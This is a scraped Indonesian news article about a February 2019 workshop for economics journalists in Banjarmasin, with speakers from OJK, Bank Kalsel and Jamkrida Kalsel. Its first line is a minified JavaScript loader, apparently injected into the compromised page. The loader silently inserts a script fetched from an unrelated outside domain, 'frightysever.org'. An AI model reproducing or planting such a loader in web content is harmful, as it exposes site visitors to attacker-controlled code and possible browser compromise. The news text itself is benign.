(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Meningkatkan kompetensi wartawan desk liputan ekonomi menjadi perhatian serius Forum Wartawan Ekonomi (FWE) Kalsel.
Untuk bisa mewujudkan hal tersebut, Forum Wartawan Ekonomi (FWE) Kalsel menggelar workshop sehari pelatihan Wartawan Ekonomi Kalsel 2019, Sabtu (9/2/2019) di aula kantor pusat Bank Kalsel di Banjarmasin.
Kegiatan ini menghadirkan tiga pembicara sekaligus dari Otoritas Jasa Keuangan (OJK) Regional 9 Wilayah Kalimantan, Bank Kalsel dan Jamkrida Kalsel.
“Kami berharap melalui kegiatan workshop kali ini, para jurnalis Kalsel yang rutin melakukan peliputan di desk ekonomi bisa lebih up to date terhadap perkembangan industri jasa keuangan di Banua. Agar mereka bisa lebih jeli lagi dalam menggali isu-isu terkini untuk menghadirkan berita yang berkualitas bagi pembaca,†tegas Ketua FWE Kalsel M Firdaus.
Selain itu dari tiga narasumber yang dihadirkan, Firdaus berharap peserta dapat mengambil kesempatan memperoleh istilah-istilah di industri jasa keuangan yang belum dipahami oleh rekan jurnalis.
“Kami melihat banyak sekali kawan-kawan jurnalis yang belum memahami berbagai istilah dalam industri jasa keuangan. Nah ini juga bisa sekalian ditanyakan agar bisa lebih memahaminya,†tambahnya.
Dalam kegiatan ini, OJK Regional 9 Wilayah Kalimantan melalui Kepala Bagian Pengawasan Industri Keuangan Non Bank Abidiri Rahman memberi materi terkait tugas dan wewenang OJK dan memberikan gambaran tentang kondisi industri keuangan di Kalsel pada tahun 2018 lalu.
Nara sumber dari Bank Kalsel langsung Direktur Utama Bank Kalsel Agus Syabaruddin. Ia lebih banyak sharing bagaimana upaya Bank Kalsel mendorong bisnis usaha syariah melalui sistem spin off dan membangun goverment bisnis eko sistem sebagai terobosan baru dalam pengembangan bisnis Bank Kalsel.
“Kami berharap melalui workshop ini, rekan-rekan jurnalis sekalian bisa ikut membantu dalam menyampaikan terobosan dan gagasan baru kami untuk bisa meningkatkan kepercayaan publik terhadap Bank Kalsel kedepannya,†tegas Agus Syabaruddin.
Dari Jamkrida Kalsel oleh Suyanto lebih banyak menceritakan perkembangan Jamkrida yang terus meningkat karena sudah memiliki kurang lebih 16.427 debitur dengan total tenaga kerja mencapai 25.169 orang dan penjaminan tembus hingga Rp1.206.354.486.036.
Sekadar diketahui, kegiatan kali ini didukung sepenuhnya Bank Kalsel, OJK Regional 9 Wilayah Kalimantan dan Jamkrida Kalsel. Juga didukung Alfamart, Pelindo III Cabang Banjarmasin, Asuransi Astra, Telkomsel dan Honda Trio Motor. (arief)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.